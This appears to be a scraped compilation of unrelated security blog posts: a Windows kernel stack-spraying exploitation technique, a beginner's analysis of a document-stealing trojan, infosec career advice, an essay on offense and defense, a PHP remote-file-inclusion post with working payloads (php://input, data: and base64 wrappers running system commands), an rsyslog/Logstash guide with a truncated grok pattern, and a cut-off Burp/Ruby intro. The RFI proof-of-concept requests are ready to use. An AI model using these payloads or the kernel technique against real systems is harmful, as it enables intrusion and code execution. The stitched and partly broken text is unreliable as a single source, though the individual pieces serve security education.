Although not the most common vulnerability class, it sometimes happens that a
ring-0 module \(or the kernel itself\) references a local variable or buffer,
which wasn’t previously properly initialized. The threat is usually mitigated
by compiler warnings / errors, informing about potential security flaws
present in the source code – as life shows, it is not always enough to avoid
serious vulnerabilities of that kind. Having the knowledge about a buggy
function, one might stumble upon a serious problem – how to actually _make
use_ of the information in a beneficial way \(e.g. execute code in the
security context of the faulty function – here, kernel-mode\). The problem
actually boils down to another matter – how can one control the _trash_ bytes
present on the ring-0 stack, from within a ring-3 perspective. It is primarily
caused by the fact that each thread present on the Windows platform has two
separate, dedicated stacks – a user- and kernel-mode one. Such security design
obviously limits any possibility for an application to poke with the execution
path of a highly-privileged code. Unfortunately, it also narrows down the
amount of controllable data, which the user is able to \(indirectly\) move to
the ring-0 stack… or does it? In this post, I am going to focus on my recent,
minor discovery, which makes it possible to insert large amounts of arbitrary
data into the stack memory areas of the current thread.

In the remaining part of the post, an assumption is made that the faulty
device driver code runs in the same thread context as the code that actually
triggers the vulnerability.

Let’s take a look at a simplified picture of a kernel stack layout, while
executing a system call handler:

[code]

    +---------------------------------+   <== Stack limit
    ...................................
    ...................................
    ...................................
    ...................................
    +---------------------------------+
    |    VOID (*HandlerRoutine)();    |   <== Uninitialized local pointer
    ...................................
    ...................................
    |   nt!KeInternalFunction local   |
    |           variables             |
    +---------------------------------+
    |         Stack Frame #3          |
    +---------------------------------+
    |    nt!KeRandomService local     |
    |           variables             |
    +---------------------------------+
    |         Stack Frame #2          |
    +---------------------------------+
    |    nt!NtRandomService local     |
    |           variables             |
    +---------------------------------+
    |         Stack Frame #1          |
    +---------------------------------+
    |                                 |
    |           TRAP FRAME            |
    |                                 |
    +---------------------------------+
    ...................................
    ...................................   <== Stack Init (default ESP value)
    |                                 |
    |         Irrelevant stack        |
    |             content             |
    |                                 |
    +---------------------------------+   <== Stack Base
    ???????????????????????????????????   <== Unmapped memory
    
[/code]

As can be seen, the ring-0 stack during kernel code execution consists of a
few components, such as a trap frame, several stack frames \(depending on the
number of nested calls\), and memory reserved for local variable and buffers’
storage. Most notably, in case of a system call, the first stack frame
includes a certain number of parameters, which are previously transferred from
the user-mode stack. However, the number of arguments assigned to each service
is strictly defined, and the real number of bytes that are moved across
privilege levels is very low \(random guess: up to 60 bytes\). Sixty bytes is
definitely not enough to reach an exemplary _HandlerRoutine_ variable, which
can be placed many levels down the stack \(usually not more than 4096 bytes
lower than the Stack Init address\). Obviously, one might try to manipulate
the internal kernel routines’ call stack in such a way, that the unitialized
variable is _mapped_ at exactly the place, where an input syscall parameter
was used. Even though the approach might be successful at times, the entire
process of adjusting the code execution path seems definitely too time-
consuming, and unreliable.

Instead of just trying to match single DWORDs with the uninitialized
variables’ addresses, it would be best to control a more vast memory area, at
once. More precisely, it would be reasonable to find an internal kernel
routine, which directly copies user-supplied data into a local buffer \(it
doesn’t really matter, what happens next\); the larger the buffer is, the
better. My first idea was to begin searching amongst the standard NT core
syscall set, so I created a very simple syscall fuzzer, and started watching
the stack contents. After several iterations, I apparently achieved the
desired effect seeing a huge, consistent block of 0×41′s. Yay\!

The fortunate NT API turned out to be nt\!NtMapUserPhysicalPages. After a
cursory look at the routine prologue, it becomes apparent that the function
perfectly meets the conditions listed above:

[code]

    mov     edi, edi
    push    ebp
    mov     ebp, esp
    push    0FFFFFFFFh
    push    offset dword_452498
    push    offset __except_handler3
    mov     eax, large fs:0
    push    eax
    mov     large fs:0, esp
    push    ecx
    push    ecx
    mov     eax, 10E8h
    call    __chkstk
    
[/code]

Given the fact that \_\_chkstk is a special procedure, which lowers the stack
pointer by a given amount of bytes – here 0x10e8 - the function must
definitely use huge amounts of local storage \(more than one, typical memory
page\!\). If we take a look into WRK \(Windows Research Kernel\), or more
precisely the \base\ntos\mm\physical.c file, we can find the following code
snippet:

[code]

    NTSTATUS
     NtMapUserPhysicalPages (
       __in PVOID VirtualAddress,
       __in ULONG_PTR NumberOfPages,
       __in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
     )
    (...)
      ULONG_PTR StackArray[COPY_STACK_SIZE];
    
[/code]

[code]

    
    
[/code]

After digging a little more, we can see the original COPY\_STACK\_SIZE
definition, used as the buffer stack:

[code]

    //
    // This local stack size definition is deliberately large as ISVs have told
    // us they expect to typically do up to this amount.
    //
    
    #define COPY_STACK_SIZE             1024
    
[/code]

[code]

    
    
[/code]

Wow, things are getting a little more clear, now. The last piece of code
required to completely understand what’s going on here, is presented below:

[code]

    PoolArea = (PVOID)&StackArray[0];
    
    (...)
    
      if (NumberOfPages > COPY_STACK_SIZE) {
        PoolArea = ExAllocatePoolWithTag (NonPagedPool,
                                          NumberOfBytes,
                                          'wRmM');
    
        if (PoolArea == NULL) {
          return STATUS_INSUFFICIENT_RESOURCES;
        }
      }
    
    (...)
    
      Status = MiCaptureUlongPtrArray (PoolArea,
                                       UserPfnArray,
                                       NumberOfPages);
    
[/code]

[code]

    
    
[/code]

As shown, the syscall handler allocates a local buffer of 1024 items, each
sized sizeof\(ULONG\_PTR\) = 4 on the considered Intel x86 platform. It also
allows the user to pass larger amounts of data, but as much as 4096 user-
supplied bytes \(exactly one memory page\) can be locally stored by the
function. Consequently, after performing the following call:

[code]

    NtMapUserPhysicalPages( arbitrary r-3 pointer, 1024, 'A' * 1024 );
    
[/code]

the local thread’s stack layout should be as follows:

[code]

    +---------------------------------+   <== Stack limit
    ...................................
    ...................................
    ...................................
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| \
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| | 4096 bytes of controlled memory
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| |
    |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| /
    | nt!NtMapUserPhysicalPages local |
    |           variables             |
    +---------------------------------+
    |         Stack Frame #1          |
    +---------------------------------+   <== Trap Frame start
    |                                 |
    |           TRAP FRAME            |
    |                                 |
    +---------------------------------+   <== Trap Frame end
    ...................................
    ...................................   <== Stack Init (default ESP value)
    |                                 |
    |         Irrelevant stack        |
    |             content             |
    |                                 |
    +---------------------------------+   <== Stack Base
    ???????????????????????????????????   <== Unmapped memory
    
[/code]

I think it is also worthwhile to mention that the technique can be used for
other purposes \(however, it works very well for controlling unitialized
fields\). For example, one might try to use it in order to store attacker-
controlled bytes at a known address of the kernel memory; e.g. to create a
fake structure. It can also be used to move an exploitation payload into the
kernel memory areas – though keep in mind that this will only work for
platforms with no hardware-enforced DEP enabled; otherwise, you will just end
up with nothing more but a ATTEMPTED\_EXECUTE\_OF\_NOEXECUTE\_MEMORY bugcheck.

The system call has been around since Microsoft Windows 2000, and as far as I
am concerned, it is not going to change / be removed any time soon. On 64-bit
platforms, the size of the local buffer is even greater since the native CPU
word is double the old size \(thus a total of 0×2000 bytes to be controlled,
there\). In general, I can imagine quite a few interesting usages of the
technique, and I hope someone will benefit from the knowledge <img
src='img/Temp2_10496.gif' alt=':-)' /> If you know any other, interesting ways
of controlling / manipulating the kernel stack from within user-mode, feel
free to drop me a line\!

Watch out for the follow up Sunday Blog Entries\! <img
src='img/Temp2_10497.gif' alt=';)' />

# Trojan Enosch

**Created:**| _6/29/2017 4:04:16 PM_  
---|---  
**Updated:**| _6/29/2017 4:04:16 PM_  
**Author:**| __  
**Tags:**| __  
  

  

cd ..

# Trojan Enosch

SHA256: e09bb7d13702e7afc9a8bd49b4fe997deb61e439cdf8a055ac1bfce50cbdb417  
File type: Win32 EXE  
  
Let’s open in ProtectionID: <img
src='img/27454990-ea0f47c2-57ac-11e7-9ef7-c9e82d8d0747.PNG.png' width='723'
height='399' alt='1' />

We have malware written in C++ without obfuscation and protection, I get the
sample from hybrid-analysis, also there is a good summery about the malware on
Sophos webpage.  
From imports, it seems like malware uses Windows crypto API: <img
src='img/27455024-0475dcca-57ad-11e7-9ee2-b94f0f340d88.PNG.png' width='723'
height='295' alt='2' /> Very interesting strings in the file: <img
src='img/27455026-04769746-57ad-11e7-9713-97fd04f29065.PNG.png' width='723'
height='309' alt='3' />

Chilkat is a cross-language, cross-platform API providing 90+ classes for many
Internet protocols, formats, and algorithms. Maybe malware uses this library
to provide some high-level abstraction.

It’s possible Crypto API is used by `Chilkat`.  

Based on SSMA there are two possible emails, maybe `Chilkat` is used to send
emails. <img src='img/27455025-0476045c-57ad-11e7-85b1-edc1ca784ea2.PNG.png'
width='723' height='154' alt='4' />

Instead of running in our sandbox, let’s use hybrid-analysis report to guide
us on the deeper analysis.  
From the analysis, the malware uses `Run` key as persistence method and
requests two domains: `smtp.gmail.com` and `google.fr`  

I think to get an idea how to works the malware we even don’t need to run it
\(debug it\), just open in `IDA` and disassemble it.  
First, it checks `Run` key and sets it if there is no `gtalkupdate`: <img
src='img/27455028-04777e86-57ad-11e7-8d21-5bf4fbe42e24.PNG.png' width='723'
height='180' alt='5' /> <img
src='img/27455029-047a0962-57ad-11e7-8659-58716c8561b9.PNG.png' width='723'
height='498' alt='6' /> <img
src='img/27455027-04778b92-57ad-11e7-9f9f-4418ae6a4050.PNG.png' width='723'
height='371' alt='7' />

…executes two threads with same `StartAddress` \- `sub_401710` and waits for
them, that’s all: <img
src='img/27455030-0491ce4e-57ad-11e7-9a9c-1976e4e50c27.PNG.png' width='723'
height='455' alt='8' />

Let’s see what’s inside `sub_401710` function.  
The malware loops until successful internet connection and gets a list of
drives: <img src='img/27455033-0494973c-57ad-11e7-8a1b-53ea68f4b990.PNG.png'
width='723' height='375' alt='9' /> Snippet from `WaitUntilConnection`: <img
src='img/27455031-049325c8-57ad-11e7-95bd-5a1a05dd2945.PNG.png' width='723'
height='448' alt='10' />

Connect to `Google`: <img
src='img/27455032-0494112c-57ad-11e7-8ab2-6b82a0630442.PNG.png' width='723'
height='551' alt='11' /> <img
src='img/27456572-a3104a32-57b2-11e7-8dd7-ac99c58ca22a.PNG.png' width='723'
height='223' alt='18_google' />

After this for each drive malware searches and sends `.doc` and `docx` to an
attacker using mail, I renamed function accordingly: <img
src='img/27455034-0495d12e-57ad-11e7-9ad5-6cbd2d3a6231.PNG.png' width='723'
height='396' alt='12' />

If the entry is directory function is called recursively: <img
src='img/27455035-04969fdc-57ad-11e7-8f2c-8a21ff19d6f3.PNG.png' width='723'
height='206' alt='13' /> <img
src='img/27455036-04ade930-57ad-11e7-9e7c-e5ec2f12c45f.PNG.png' width='723'
height='387' alt='14' />

Check if file’s extension is `.doc` or `docx` : <img
src='img/27455037-04ae57f8-57ad-11e7-8769-5e97a69a7c44.PNG.png' width='723'
height='417' alt='15' />

….and send the file using mail, there are many unknown functions, maybe they
are from third-party library `Chilkat`: <img
src='img/27455038-04b1c38e-57ad-11e7-8b16-c42fa8808ba0.PNG.png' width='723'
height='375' alt='16' />

There are `Yahoo` mail and `GetComputerNameA` function, after running with
`fakenet` it seems like `Yahoo` is recipient’s mail and result of
`GetComputerNameA` is subject of mail: <img
src='img/27455039-04b4c228-57ad-11e7-841a-1e34506bb8f3.PNG.png' width='723'
height='481' alt='17' />

<img src='img/27455041-04b82f4e-57ad-11e7-9d55-81963e4badf8.PNG.png'
width='723' height='515' alt='19_mail' />

That’s all. I’m new to reversing malware and any kind of feedback will be
helpful for me.  
Twitter: @\_qaz\_qaz

  

# PaulDotCom: Archives

**Created:**| _5/18/2009 12:45:48 PM_  
---|---  
**Updated:**| _5/18/2009 12:46:07 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Getting Started In Information Security How-To

ByPaul Asadoorianon May 20, 2009 5:00 AM | Permalink
One of the most asked questions we have gotten since we started PaulDotCom is:
"How do I get started in information security?". This is a great question, and
the following guide will get you started:

  1. **Be curious** \- The first and most important characteristic you need to succeed in information security is curiosity. I have to say that I started by being curious. I was 7 years old <img src='img/Temp2_6169.jpg' width='100' height='133' alt='apple-iie.jpg' />and I took a class on how to use an Apple IIe computer \(back then you had to write programs to make the computer do anything\). I remember sitting in front of the Apple IIe \(my parents eventually bought one\) and staring at the glowing screen and the green flashing cursor, just wondering what I could make it do. I watched the movie "War Games" and wanted a modem so bad, but my parents forbid it, saying that I would cause global thermo-nuclear war \(I told them I only wanted to play chess, but they didn't believe me\). I guess that's part of your homework, go back and watch two of the best hacker movies on the planet, "War Games" and "Sneakers".
  2.   3. **Work in information technology** \- Most people I encounter who want to get into information security want to know, "How do I become a hacker?". I don't think its something that you become, I think its something that you are, coupled with something that you are shaped into. The best information security professionals are those that have been "In The Trenches", working as a help desk technician, systems administrator, or network engineer. Working in these positions will gain you an understanding of how things work, which lays the foundation to learn how to break them and make them do things they were not intended to do.
  4.   5. **Setup a home network/lab** \- First, setup a home lab. VMware makes free versions of their software, and there are thousands of pre-configured virtual hosts available on their web site. Don't just focus on setting up security tools either, try to setup a file server using Samba and lock it down \(for example\). This exercise can provide valuable experience. For example, I was on an interview once for one of my first UNIX systems administrator jobs and they asked me if I had experience with NFS. I said, "Sure do\! I run it at home." They looked puzzled at first, but when I could answer all their technical questions about NFS, they, well, hired me. I also brought pictures of my computers at home to the interview. Now, I don't recommend that, but its one of those funny interview stories and it happened to work for me. However, it could have very easily had the opposite effect.
  6. <img src='img/Temp2_6171.jpg' width='300' height='229' alt='mycomputers.png' />
**Actual picture Paul brought to his interview**

  7. **Get involved with local groups** \- This is a great place to meet people in the field, exchange ideas, and ask questions. Its important to network as this is most likely how you will get a job in the field\! Local groups in my area, for example, include 2600, defcon \(DC401\), Linux user groups, and several others. Also, there may be a "Hacker Space" in your area as well, so be certain to find one and participate in it. If there is no group of any kind in your area, then create one\!
  8.   9. **Go to conferences** \- Defcon is one of the larget conferences on the West Coast, and Shmoocon is a popular conference on the East Coast. This is another great place to network and there are several smaller conferences all across the country \(such as NOTACON\). SANS is a great place to learn and network, but most starting out in the field may not have an employer who will pay for training. There are many options, such as SANS @home online training or becoming a facilitator for SANS.
  10.   11. **Read blogs & listen to podcasts/webcasts** \- There is so much information on the web about our field that it is overwhelming. While you may specialize on certain systems or technologies, you need to have some level of understanding in all areas on technology. Keeping up with all this can be a full-time job in and of itself. My suggestion is to use an RSS news reader and subscribe to as many technology and security related resources as possible. Need some help getting started? You can download all the feeds from here and import them into your RSS news reader. Podcasts are free, and iPods are very cheap now, so you should be listening to podcasts. Of course we produce our own weekly show called PaulDotCom Security Weekly, andthis thread in our forum discusses many of the other great podcasts on the net. Webcasts are free ways to get good information, and are available from SANS, Whitehat World, and many others.
  12. <img src='img/Temp2_6170.jpg' alt='mycomputers.png' />
**Hacking Naked Helps Too**

  13. **Take training classes and get certification** \- We've talked about SANS already, and there are several other places to get great training. Backtrack is a great security live CD distribution \(also a great place to start for beginners\) and its associated training classes have gotten great reviews. Don't shy from certification, but don't spend too much time getting certifications to pad the resume. Strike a balance - get a few certifications and see where it takes you, then spend some time and resources getting real-world experience. Get involved with an open-source project - even if you may not feel like you have the technical chops to participate in many open source projects. That's okay, if you are good at writing documentation and/or testing, you can be a valuable resource. This tack gets you familiar with the technology and gets you networked in the field.
  14.   15. **Socially Network** \- Not only are social networks fun to hack, but they are one of the best ways to network in the field. Twitter has become a great tool for this, and even has the "Security Twits" group consisting of security people using Twitter. They have meetups at various conferences. Facebook and LinkedIN can also be valuable networking tools to help you meet people and find a job.
  16.   17. **Write about stuff** \- A great addition to your resume are publications. Find a topic that you like and write something on it and submit it to various magazines and online resources to get published. This is looked upon favorably by employers, and gives them writing samples as well. Also, have a blog. Blog about stuff that you do, what you think about security, etc... If you keep it focused on security, you'll be in good shape. If you start blogging about farm animals and creamed corn, it may not be as useful. For examples of some of the things we have written, you can check out the papers page. For examples of presentations, see the presentations page.
  18.   19. **Manage a machine that gets hacked** \- I know this sounds strange, but many people we interview say they got their start when their machine got hacked. This is not to say that you would let a machine get hacked \(be careful if you plan to do this and setup honeypots/honeynets\), but this can provide valuable experience and further motivate you to explore the field of information security.
  20. I want to thank the members of the PaulDotCom mailing list for sharing their ideas and thoughts on this subject. You can read the full thread in the archives that inspired this post. 
Paul Asadoorian  
PaulDotCom

  *[May 20, 2009 5:00 AM ]: 2009-05-20T05:00:00-05:00

# PDF - PR12-Sysmon-UELTSCHI.pdf

**Created:**| _4/26/2018 5:42:19 AM_  
---|---  
**Updated:**| _4/26/2018 5:42:19 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  
<img src='img/PR12-Sysmon-UELTSCHI.pdf' />  

# TaoSecurity: Don't Envy the Offense

**Created:**| _1/7/2015 11:57:04 AM_  
---|---  
**Updated:**| _1/7/2015 11:57:04 AM_  
**Author:**| __  
**Tags:**| __  
  

# Don't Envy the Offense

Thanks to Leigh Honeywell I noticed a series of Tweets by Microsoft's John
Lambert. Aside from affirming the importance of security team members over
tools, I didn't have a strong reaction to the list -- until I read Tweets nine
and ten. Nine said the following:

<img src='img/Temp2_7916.jpg' />

_9\. If you shame attack research, you misjudge its contribution. Offense and
defense aren't peers. Defense is offense's child._  
I don't have anything to say about "shame," but I strongly disagree with
"Offense and defense aren't peers" and "Defense is offense's child." I've
blogged about offense over the years, but my 2009 post Offense and Defense
Inform Each Other is particularly relevant. John's statements are a
condescending form of the phrase "offense informing defense." They're also a
sign of "offense envy."  
  
John's last Tweet said the following:

<img src='img/Temp2_7915.jpg' />

_10\. Biggest problem with network defense is that defenders think in lists.
Attackers think in graphs. As long as this is true, attackers win_  
  
This Tweet definitely exhibits offense envy. It plays to the incorrect, yet
too-common idea, that defenders are helpless drones, while the offense runs
circles around them thanks to their advanced thinking.  
  
The reality is that plenty of defenders practice advanced thinking, while even
nation-state level attackers work through checklists.  
  
At the high end of the offense spectrum, many of us have seen evidence of
attackers running playbooks. When their checklist ends, the game may be up, or
they may be able to ask their supervisor or mentor for assistance.  
  
On the other end of the spectrum, you can enjoy watching videos of lower-
skilled intruders fumble around in Kippo honeypots. I started showing these
videos during breaks in my classes.  
  
I believe several factors produce offense envy.

  1. First, many of those who envy the offense have not had contact with advanced defenders. If you've never seen advanced defenders at work, and have only seen mediocre or nonexistent defense, you're likely to mythologize the powers of the offense.
  2. Second, many offense envy sufferers do not appreciate the restrictions placed on defenders, which result in advantages for the offense. I wrote about several of these in 2007 in Threat Advantages \-- namely initiative, flexibility, and asymmetry of interest and knowledge. \(Please read the original post if the last two prompt you to think I have offense envy\!\)
  3. Third, many of those who glorify offense hold false assumptions about how the black hats operate. This often manifests in platitudes like "the bad guys share -- why don't the good guys?" The reality is that good guys share a lot, and while some bad guys "share," they more often steal, back-stab, and inform on each other.

It's time for the offensive community to pay attention to people like Tony
Sager, who ran the Vulnerability Analysis and Operations \(VAO\) team at NSA.
Initially Tony managed independent blue and red teams. The red team always
penetrated the target, then dumped a report and walked away.  
  
Tony changed the dynamic by telling the red team that their mission wasn't
only to break into a victim's network. He brought the red and blue teams
together under one manager \(Tony\). He worked with the red team to make them
part of the defensive solution, not just a way to demonstrate that the offense
can always compromise a target.  
  
Network defenders have the toughest job in the technology world, and
increasingly the business and societal worlds. We shouldn't glorify their
opponents.  
  
Note: Thanks to Chris Palmer for his Tweet \-- "He \[Lambert\] reads like a
defender with black hat drama envy. Kind of sad." \-- which partially inspired
this post.

#### 3 comments:

<img src='img/Temp2_7914.jpg' width='16' height='16' />

Anonymous said...

    
In your example, doesn't Tony have 'offense envy'? Given he uses offensive
tactics tools and procedures to inform defense...? And wasn't that really the
point ? That attack research shouldn't be squelched as an information source
to defense?

     9:51 PM 
Richard Bejtlich said...

    
I offered the Tony Sager story as an example of how red teams can do something
more useful than write reports and walk away. I think what some are missing is
the oddity, to put it mildly, of saying "offense and defense aren't peers."

     9:58 PM 
halvar.flake said...

    
I may be second-guessing the motivation for the original tweet, but I did not
read it as an encouragement that attack teams should "dump reports and walk
away".  
  
I think non-offensive organisations are almost constantly at risk to not have
enough expertise about how attackers operate to mount a strong defense. Very
few organisations employ "realistic" attackers, and not all organisations have
access to high-quality intelligence about how actual attacks work \(and even
then, access to intelligence does not equal understanding\).  
  
For me personally, the original tweet resonated - I have often been in
discussions where defensive activities of very dubious value were proposed due
to an insufficient understanding of how attackers operate / how attacks work.  
  
The attacker gets a relatively quick feedback loop on his actions - normally,
he can quickly see if he is successful or not. The defender has to work really
hard to see how successful he is, and attackers won't tell a failing defender
that he is failing. The way I interpreted the original tweet, it was a
reminder that a defender has to be constantly vigilant in trying to understand
how an attacker operates.  
  
The graph-vs-lists tweet resonated for a different reason: Transitivity of
trust has -for ages- been known to be the silent killer of network security,
yet progress on defending better on this front has been slow - the web of
dependencies that any organisation has is very depressing, and few
organisations make a concerted effort at minimizing and controlling these
dependencies.  
  
So I wouldn't discount these tweets as "attacker envy" \- they are reminders
to avoid common mistakes. Twitter, by virtue of extreme brevity, does not lead
to very nuanced statements.

     10:35 AM 
Post a Comment

# th3 cr0w's bl0g: Self-contained RFI in PHP

**Created:**| _1/11/2010 1:38:19 PM_  
---|---  
**Updated:**| _1/11/2010 1:38:35 PM_  
**Author:**| __  
**Tags:**| _web php_  
  

### Self-contained RFI in PHP

Sometimes those two tricks may be useful in RFI attacks.  

**1\. Using php://input wrapper**  
  
php://input wrapper allows you to read raw POST data
\(http://ru2.php.net/wrappers.php\).  

For example, there is such code:  

[code]

    <?php  
      
    if ( include($_GET['file'] . '.php') )  
    {  
       echo 'Henck!';  
    }  
    else  
    {  
       echo 'Error!';  
    }  
      
    ?>
[/code]

  
For exploitation we need:  
`allow_url_include=On  
magic_quotes_gpc=Off`  
  

**PoC:**  

[code]

     POST http://site.com/index.php?file=php://input%00 HTTP/1.1  
    Host: site.com  
      
    <?php passthru('dir'); ?>
[/code]

  

Also using additional php://filter wrapper \(available since PHP 5.0.0\) we
can encode our php code:  

[code]

    POST http://site.com/index.php?file=php://filter/read=string.rot13/resource=php://input%00 HTTP/1.1  
    Host: site.com  
      
    <?cuc cnffgueh('qve'); ?>
    
[/code]

  
  

**2\. Using data: wrapper**  
  
Since version 5.2.0 PHP supports "data" URL scheme
\(http://ru.php.net/manual/ru/wrappers.data.php\).  

Example code:  

[code]

    <?php  
      
    $file = $_GET['file'];  
      
    // Filtration of directory change  
    // and URLs:  
      
    $file = str_replace('/', '', $file);  
    $file = str_replace('.', '', $file);  
      
    if ( include($file . '.php') )  
    {  
       echo 'Henck!';  
    }  
    else  
    {  
       echo 'Error!';  
    }  
      
    ?>
    
[/code]

  
For exploitation we need:  
`PHP version => 5.2.0  
allow_url_include=On`  
  

**PoC:**  

[code]

    http://site.com/index2.php?file=data:,<?php system($_GET[c]); ?>?&c=dir
    
[/code]

  

It's possible to encode this php code into Base64:  

[code]

    http://site.com/index2.php?file=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
    
[/code]

  
This methods are interesting because attacker don't need to include his php-
code from any http/ftp/etc server. Also attacker can bypass some simple
filtrations like in second example code.

# Forwarding logs to Logstash 1.4 with rsyslog \(working nginx logs too\) | capnjosh
**Created:**| _6/20/2014 10:24:03 AM_  
---|---  
**Updated:**| _6/20/2014 3:28:24 PM_  
**Author:**| __  
**Tags:**| _Logs management_  
  

# Forwarding logs to Logstash 1.4 with rsyslog \(working nginx logs too\)

Posted on April 13, 2014

rsyslog comes with everything. It’s fine. How do you easily, repeatably,
obviously, exstensibly, etc. configure rsyslog to forward logs to a Logstash
server?

Here’s how:

\(note: I assume CentOS 6.5. I assume you installed Logstash via the rpm and
did “rpm -i …” with it. I assume you installed nginx on the machine sending
logs\)

For each log file you want to show up in Logstash, create a file in
/etc/rsyslog.d/, named with a “.conf” extension. Separate .conf files for each
file \(or service, such as nginx or httpd\) makes it easier to see at a glance
– it also sets you up for easier management with something like Puppet, Salt
Stack, or Ansible. Make each file look like this \(the stuff after the “\#” in
each line is a note; remove it if you want\):

\# this section can show up in all your rsyslog config files, so just leave it
here  
$ModLoad imfile \# Load the imfile input module  
$ModLoad imklog \# for reading kernel log messages  
$ModLoad imuxsock \# for reading local syslog messages

\# Watch /var/log/nginx/access.log  
$InputFileName /var/log/nginx/access.log \#can NOT use wildcards – this is
where logstash-forwarder would be nice  
$InputFileTag nginx-access: \#Logstash throws grok errors if the “:” is
anywhere besides at the end; shows up as “Program” in Logstash  
$InputFileStateFile state-nginx-access \#can be anything; unique id used by
rsyslog  
$InputRunFileMonitor

\# Here’s a clean block, this time for an nginx error log  
\# Watch /var/log/nginx/error.log  
$InputFileName /var/log/nginx/error.lo\*  
$InputFileTag nginx-error:  
$InputFileStateFile state-nginx-error  
$InputRunFileMonitor

Then, to forward all your syslogs to your Logstash server put the following in
either the /etc/rsyslog.conf file or in a separate file in /etc/rsyslog.d/ :

\# Remote Logging \(we use TCP for reliable delivery\)  
\#  
\# An on-disk queue is created for this action. If the remote host is  
\# down, messages are spooled to disk and sent when it is up again.  
\#$WorkDirectory /var/lib/rsyslog \# where to place spool files \#keep this
commented out for Ubuntu compatibility  
$ActionQueueFileName fwdRule1 \# unique name prefix for spool files  
$ActionQueueMaxDiskSpace 1g \# 1gb space limit \(use as much as possible\)  
$ActionQueueSaveOnShutdown on \# save messages to disk on shutdown  
$ActionQueueType LinkedList \# run asynchronously  
$ActionResumeRetryCount -1 \# infinite retries if host is down  
\# remote host is: name/ip:port, e.g. 192.168.0.1:514, port optional  
\*.\* @@:5544 \# the 2 “@” signs tells rsyslog to use TCP; 1 “@” sign tells
rsyslog to use UDP

Then, on your Logstash server, make sure you have the following in a file
called something like “input\_rsyslog.conf” in /etc/logstash/conf.d/ \(this
makes Logstash cleanly parse and prep syslog-formatted messages; it also adds
set the value you put for $InputFileTag to the “program” field in the Logstash
output – this way you can later put a filter in place that does stuff on, say,
“program”=”nginx-access” logs, running the “message” field through, say, the
geoip filter and the apache unified grok filter\):

input \{  
syslog \{  
type => syslog  
port => 5544  
\}  
\}

Add another file called something like “filter\_rsyslog.conf” in
/etc/logstash/conf.d/ and put this in \(it cleans up syslog messages\):

filter \{  
if \[type\] == “syslog” \{  
syslog\_pri \{ \}  
date \{  
match => \[ "syslog\_timestamp", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" \]  
\}  
\}  
\}

Add another file called something like “filter\_nginx-access.conf” to
/etc/logstash/conf.d/ and put this in \(it cleans up access logs and adds in
geoip data from the built-in GeoLite database\):

filter \{  
if \[program\] == “nginx-access” \{

grok \{  
match => \[ "message" , "%\{IPORHOST:remote\_addr\} -
%\{USERNAME:remote\_user\} \\\[%\{HTTPDATE:time\_local\}\\\] %\{QS:request\}
%\{INT:status\} %\{INT:body\_bytes\_sent\} %\{QS:http\_referer\}
%\{QS:http\_user\_agent\}” \]

geoip \{  
source => “remote\_addr”  
database => “/opt/logstash/vendor/geoip/GeoLiteCity.dat”  
\}  
\}  
\}

Add another file called something like “filter\_nginx-error.conf” to
/etc/logstash/conf.d/ and put this in \(it cleans up nginx error logs\):

filter \{  
if \[program\] == “nginx-error” \{

grok \{  
match => \[ "message" , "%\{DATA\} %\{WORD:webserver\}
%\{HOST:myhost\}\\-%\{WORD:class\}\:
\(?%\{YEAR\}\[./-\]%\{MONTHNUM\}\[./-\]%\{MONTHDAY\}\[- \]%\{TIME\}\)
\\\[%\{LOGLEVEL:severity\}\\\] %\{POSINT:pid\}\#%\{NUMBER\}:
%\{GREEDYDATA:errormessage\}\(?:, client: \(?%\{IP\}|%\{HOSTNAME\}\)\)\(?:,
server: %\{IPORHOST:server\}\)\(?:, request: %\{QS:request\}\)?\(?:, host:
%\{QS:host\}\)?\(?:, referrer: \”%\{URI:referrer\}\)” \]

Add another file called something like
“filter\_sshd\_authentication\_failure.conf” and put this in \(it looks for
authentication failures and adds in GeoIP info\):

filter \{  
if \[program\] == “sshd” and \[message\] =~ “Failed password” \{

grok \{  
match => \[ “message” , “Failed password for root from %\{IP:remote\_add$  
\}

geoip \{  
source => “remote\_addr”  
database => “/opt/logstash/vendor/geoip/GeoLiteCity.dat”  
\}  
\}  
\}

Notice the pattern here? Just add another filter file, input file, output
file, etc. For custom grok stuff, check out this:
http://grokdebug.herokuapp.com/

# Buby.kicks\_ass? => true | carnal0wnage.attackresearch.com
**Created:**| _4/15/2010 10:00:39 AM_  
---|---  
**Updated:**| _4/15/2010 10:00:52 AM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools pentest_  
  

## Buby.kicks\_ass? => true

Wed, 04/14/2010 - 06:25 by tebo

Buby combines two things I use on at least every web application penetration
test, if not every penetration test. Burp and Ruby.

I will assume you are familiar with both. If you aren't familiar with Burp,
it's the best money you'll spend on a security tool in my opinion. So go get
it, install the PortSwigger cert, tweak your config and get to work. See the
end of this post for some operational Burp references.

Buby was widely introduced in the Blackhat USA 09 presentation "Ruby for
Penetration Testers" by Matasano Security and is available thanks to the
BurpExtender API by PortSwigger and some pretty Ruby by Eric Monti.

Depending on your platform, Buby and some of it's sample dependencies can
quite literally be a pain in the ass to install, as in you could be in your
seat trying to resolve dependencies for a portion of your day, so assuming
you've got it running on your platform, let's talk about some of the use
cases.

We could all use a little more interaction with the application under test and
